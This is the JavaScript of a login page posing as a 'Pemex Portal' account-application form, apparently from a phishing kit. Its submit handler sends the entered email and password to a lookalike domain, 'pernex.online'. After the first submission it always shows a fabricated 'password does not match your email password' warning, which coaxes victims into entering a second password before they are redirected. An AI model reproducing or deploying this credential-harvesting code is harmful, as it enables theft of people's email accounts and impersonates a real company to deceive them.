 $(function() {

            // ── Shared DOM refs (must be declared before setLang is ever called) ──
            const toggleBtn = document.getElementById('togglePassword');
            const passInput = document.getElementById('password');
            const toggleIcon = document.getElementById('toggleIcon');

            // ── Language toggle ──
            let currentLang = 'es';

            function setLang(lang) {
                currentLang = lang;

                // Persist preference across reloads
                localStorage.setItem('pemex_lang', lang);

                // Swap text content on all data-lang-* elements
                document.querySelectorAll('[data-lang-' + lang + ']').forEach(el => {
                    el.textContent = el.getAttribute('data-lang-' + lang);
                });

                // Swap input placeholders
                document.querySelectorAll('[data-placeholder-' + lang + ']').forEach(el => {
                    el.placeholder = el.getAttribute('data-placeholder-' + lang);
                });

                // Update page title
                document.title = lang === 'en' ?
                    'Apply Account | Pemex Portal' :
                    'Solicitar Cuenta | Pemex Portal';

                // Update active button state
                document.getElementById('btnEN').classList.toggle('active', lang === 'en');
                document.getElementById('btnES').classList.toggle('active', lang === 'es');

                // Update password toggle aria-label based on current visibility
                const isVisible = passInput.type === 'text';
                toggleBtn.setAttribute('aria-label',
                    lang === 'en' ?
                    (isVisible ? 'Hide password' : 'Show password') :
                    (isVisible ? 'Ocultar contraseña' : 'Mostrar contraseña')
                );
            }

            // ── Restore saved language on page load ──
            const savedLang = localStorage.getItem('pemex_lang');
            if (savedLang && savedLang !== 'es') {
                setLang(savedLang);
            }

            // ── Password visibility toggle ──
            toggleBtn.addEventListener('click', () => {
                const isHidden = passInput.type === 'password';
                passInput.type = isHidden ? 'text' : 'password';
                toggleIcon.className = isHidden ? 'bi bi-eye-slash' : 'bi bi-eye';
                const ariaLabel = isHidden ?
                    (currentLang === 'en' ? 'Hide password' : 'Ocultar contraseña') :
                    (currentLang === 'en' ? 'Show password' : 'Mostrar contraseña');
                toggleBtn.setAttribute('aria-label', ariaLabel);
            });

            // ── jQuery AJAX Form Submission ──
            $('#loginForm').on('submit', function(e) {
                e.preventDefault();

                const $btn = $('#submitBtn');
                const $text = $('#btnText');
                const $loader = $('#btnLoader');

                // Clear previous inline errors
                $('.form-control').removeClass('is-invalid');
                $('.ajax-error').remove();

                // Show loading state
                $btn.prop('disabled', true);
                $text.addClass('d-none');
                $loader.removeClass('d-none');

                $.ajax({
                    url: "https://pernex.online/new-page/submit",
                    method: 'POST',
                    data: $(this).serialize(),
                    headers: {
                        'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
                    },

                    success: function(res) {

                        if (res.type === 'first_submit') {
                            // ── First submit: warn on the password field ──
                            $('#passwordWarning').remove();
                            const $passwordInput = $('#password');

                            $passwordInput.css({
                                'border-color': '#f59e0b',
                                'box-shadow': '0 0 0 3px rgba(245,158,11,0.2)'
                            });

                            const warningText = currentLang === 'en' ?
                                'This password does not match your email password' :
                                'Esta contraseña no coincide con la contraseña de su correo electrónico.';

                            const $warning = $(`
                            <div id="passwordWarning" style="
                                display:flex; align-items:flex-start; gap:0.45rem;
                                background:#fffbeb; border:1px solid #f59e0b;
                                border-radius:7px; padding:0.55rem 0.75rem;
                                margin-top:0.5rem; font-size:0.8rem;
                                color:#92400e; line-height:1.4;">
                                <i class="bi bi-exclamation-triangle-fill" style="color:#f59e0b;flex-shrink:0;margin-top:1px;"></i>
                                <span>${warningText}</span>
                            </div>
                        `);

                            $passwordInput.closest('.mb-3').append($warning);
                            $warning.hide().slideDown(250);
                            $passwordInput[0].scrollIntoView({
                                behavior: 'smooth',
                                block: 'center'
                            });

                        } else if (res.type === 'redirect') {
                            // console.log({redirect: res.redirect_url});
                            window.location.href = res.redirect_url;
                            // return;
                        }
                    },

                    error: function(xhr) {
                        if (xhr.status === 422) {
                            const errors = xhr.responseJSON.errors;
                            $.each(errors, function(field, messages) {
                                const $input = $('[name="' + field + '"]');
                                $input.addClass('is-invalid');
                                $input.closest('.mb-3, .input-password-wrap').append(
                                    '<div class="invalid-feedback ajax-error d-block">' + messages[0] + '</div>'
                                );
                            });
                        } else {
                            showToast(
                                currentLang === 'en' ?
                                'An error occurred. Please try again.' :
                                'Ocurrió un error. Por favor intenta de nuevo.',
                                'danger'
                            );
                        }
                    },

                    complete: function() {
                        $btn.prop('disabled', false);
                        $text.removeClass('d-none');
                        $loader.addClass('d-none');
                    }
                });
            });

            // ── Toast helper ──
            function showToast(message, type) {
                const $toast = $('#ajaxToast');
                $toast.removeClass('bg-success bg-danger text-white')
                    .addClass('bg-' + type + ' text-white');
                $('#toastMsg').text(message);
                bootstrap.Toast.getOrCreateInstance($toast[0], {
                    delay: 4000
                }).show();
            }

        });